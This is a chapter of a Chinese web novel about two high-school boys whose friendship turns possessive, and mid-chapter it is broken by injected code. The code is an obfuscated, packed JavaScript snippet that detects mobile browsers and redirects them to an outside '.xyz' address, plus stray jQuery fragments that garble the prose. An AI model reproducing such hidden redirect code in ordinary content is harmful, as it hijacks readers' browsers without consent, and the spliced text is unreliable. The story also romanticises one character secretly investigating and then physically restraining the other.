33. 第 33 章

作品:《暗恋的有罪推定

    幸好上课铃声响了。路既棠逃似地回了教室,路既棠一走,殷倚松就没再给白鹤生一个眼神,他也转身走了。


    这节课是数学课,坐在殷倚松旁边的安于年,想在上课之前再问殷倚松一道题。


    和以前不同,殷倚松这次不再和颜悦色地给他讲题,反而连题目都没看一眼,就直接说道:“我现在不方便。”


    安于年没多想,说道:“没事,那等晚点你……”


    殷倚松打断他,“以后也不方便了。”


    殷倚松没管安于年震惊的神情,“下午就换位置了,我已经和班主任说了,让他把我们调开,我需要更多的时间学习,抽不出时间给你补数学了,你以后可以请教老师和其他同学。”


    安于年下意识就要抓住殷倚松的手,“是不是我做错什么了……”


    殷倚松避开对方的动作,他看着安于年,眼里含着一点不明显的讥诮,一字一顿道:“你不知道原因吗?”


    安于年身体一震,不可置信地看向殷倚松。


    殷倚松没再看他,只是低头抽出一张试卷,低声说道:“你知道我的态度了,以后,不管是在教室还是在寝室,我都希望我们能保持距离。”


    以前留着这个人,是为了试探路既棠,现在他已经知道路既棠的态度,这个人就没有留着的必要了。他又不是真的毫无底线地乐于助人,更何况是对他抱有心思的人。


    下午,邓宁煜果然拿来了新的座位表。这是毕业前最后一次换座位。


    路既棠的位置不动,同桌换成了李未序。殷倚松换了一组,同桌换成了肖意。


    很快,路既棠发现,安于年变得很沉默,不再跟着殷倚松,在寝室里看见殷倚松也会刻意避开。偶尔和路既棠对上视线时,安于年也会转移目光,加快速度走开。


    与此同时,路既棠发现自己和殷倚松之间的氛围越来越奇怪。


    有时候晚上他回去得晚,就会碰上也在阳台上洗漱的殷倚松。他没说话,殷倚松也没说话。阳台并不狭窄,但只要阳台门一关上,阳台只剩下他们两个人时,他就会莫名觉得阳台非常狭小。


    如果熄灯后,他们还在阳台里,路既棠听到站在旁边的殷倚松平静的呼吸声后,不受控制地顺着对方白皙结实的胳膊往上看,能看到窗外的灯光照进来时,殷倚松还在滴着水的半边侧脸。


    路既棠捏着毛巾的手指轻轻颤了一下。


    他擦完脸之后,回到了床上,把头埋进柔软的枕头里,百无聊赖地左右翻了个身,然后面对着墙侧躺着,开始想事情,身后传来细微的动静,他猜想殷倚松已经踩着栏杆上.床了。


    这时候,阳台外的灯似乎是转了一个角度,暖色的灯光居然越过了阳台门侧面的门框,照在了路既棠那张床的墙上,灯光居然会动,路既棠下意识用手去抓那落在白墙上的光影。


    结果当然是扑空,但就算是抓了一手空气,路既棠也很高兴。


    他抓了好一会,玩够了才将手摊开,借着那一点光,认认真真地看自己的手指和掌心。


    他翻了个身。


    下一刻,他看到了站在他床边正静静看着他的殷倚松。


    刹那间,路既棠的心跳停了一拍。


    他没有被吓到,事实上,他发现殷倚松的那一刻,是喜大于惊的。


    殷倚松居然还没有上去。


    黑暗中,路既棠看不清殷倚松的神情,但隐隐能感受殷倚松垂眸看过来的,灼热滚烫的视线。


    路既棠的心几乎要颤栗起来,他想,白鹤生说得对,自己真是万劫不复了。


    见路既棠看着自己,久久没有说话,殷倚松轻轻拍了一下路既棠的床沿,然后踩着栏杆上去了。


    又过了一周,已经到了四月底,高一高二的学生返校了。


    许久没见的学弟沈释北来找他,又被殷倚松看见了。


    路既棠觉得,最近这段时间,殷倚松不喜欢的人来找自己时,被殷倚松撞见的次数格外多。


    周末下午是休息时间,因为封校,路既棠从返校之后就没有再回过家。这周末午睡醒来后,路既棠还在犯困,他一觉睡到了下午三点半,他坐起来揉了一会眼睛之后,下床洗漱,这时候,寝室里已经没有什么人了。


    然而,殷倚松还在。殷倚松约他去走走。


    路既棠心情有些复杂。同样是一起去散步,几个月他的心境和现在完全不同。


    他们一起下楼,路上有一搭没一搭地聊,多是殷倚松开的头,路既棠顺着对方的话往下说。路既棠有意识地收敛着,生怕自己不留意,哪句话里把心事泄露了。


    不知不觉间,路既棠发现他们又走到了黄楼边上的大树下,上次他们就是在这里吵架的。


    路既棠现在对这个地方有阴影,正想叫殷倚松走快些,一起离开这里。


    殷倚松跟上他,他们沿着黄楼边上的小径继续走,小径的尽头通向小花园,今天下午,小花园似乎没有什么人,应该是因为要下雨了,此刻天上的云正渐渐聚拢,阴沉沉地压下来。


    殷倚松没有看天色,只是说道:“你之前说你和白鹤生一起长大,后来我听人说,你初中时和白鹤生在同一个班级,初一时白鹤生觉得好玩,带了几瓶酒进学校,约了几个同学,趁着元旦放假,一起把酒喝了。”


    “元旦结束后,教导主任在上课期间带着你们班主任去查寝,正好查到了那几个空着的啤酒瓶,因为不清楚啤酒瓶是谁的,就让整个寝室的人指认,你也在其中,教导主任要叫家长,于是你主动承认酒是你带进来的,也是你自己喝完的。”


    “当时你的班主任根本不信,但你还是认下了,如果不是白鹤生过意不去,主动承认了前因后果,是不是你还真的会给他背锅,在全校面前替他读检讨?”


    “那是因为如果白鹤生的父母知道这件事……”路既棠下意识要解释,话一出口,他才反应过来,有些事不能跟殷倚松说。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396657|184305||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“因为什么?”殷倚松嘲弄地笑了一声,“是因为你心甘情愿,是因为他才是你除了亲人之外最在乎的人,还是因为,你要放任他为你扫清所有纠缠你的人?”


    路既棠倏然抬头,“你说什么?”


    “去年夏天,你生日的时候,杨秋染受人所托,拿了一束玫瑰花给你,”殷倚松声音平静,“整个初中时期,送玫瑰花的那个女生几乎一直都在纠缠你,她背景强大,学校也不敢管,是白鹤生把事情闹大,捅到了她父母那里,她父母颜面无光,只好将她送走,你终于解脱了。”


    “白鹤生也因此付出了惨重的代价,后来,他就被他父母带去了平城。”


    “路既棠,”殷倚松看着他,问道:“我说得对不对?”


    在殷倚松的一字一句里,路既棠只觉得脑中被什么东西翻过,止不住地嗡嗡作响,他眼前一片灰黑,好一会,他才缓过来。


    他看着眼前的人,像是从来没有认识过对方,好一会,他才问道:“你这是在干什么,打听我,调查我,监视我,还是都有?”


    “是啊。”殷倚松点头,干脆地承认了,心想,这个人这么干净,这么讨人喜欢,这么多人都觊觎他,自己和那些人也没什么两样。


    他会比那个女生还要不择手段,路既棠真是倒霉,居然遇到了他。


    “我尊重你,所以我从来不过问你的隐私,”路既棠气得脸颊绯红,“哪怕寒假后来的那么长的时间里,你没有回复我任何信息,返校之后也没有跟我解释,我……”


    “我也没有任何怨言,”路既棠偏过脸,一副不想再和殷倚松多说的样子,“可是你这样太冒犯了,我非常不喜欢,你以前明明不是这样的,我也不想知道你到底是什么样的人了,你这样的朋友,我交不起,我们……”


    他一句话还没说完,就被殷倚松按在了树上。


    他们靠得很近,殷倚松倾身压了过来,路既棠马上伸手要推开对方,殷倚松却将路既棠一双手腕攥住,路既棠要挣开,却发现自己完全反抗不过对方。常年累月地练太极,让殷倚松既有力气,又有巧劲。


    路既棠抬头瞪他。


    殷倚松微微笑了一下。


    下一刻,一阵狂风刮来,摇动小花园里成丛的花树,开在枝头上的花在风中摇摇欲坠。


    风更大了,抬眼望去,只见满园飞花。


    一片蓝花楹的花瓣落在路既棠的肩头,原先还在僵持的两个人愣了一下,殷倚松已经凝滞的眼神终于动了一下,他静静地看了那片花瓣一眼,又看向路既棠。


    路既棠气得狠了,眼睫毛正轻轻颤着,唇抿得很紧,明明是像玉做的人,现在竟然被气出了一种活色生香的鬼魅感。


    殷倚松像是终于醒过神来,意识到了自己做了什么,他松开路既棠,说道:“对不起。”


    路既棠将肩上的花瓣拂落,狠狠地推开了殷倚松,头也不回地走了。


    一场淋漓的雨终于泼了下来。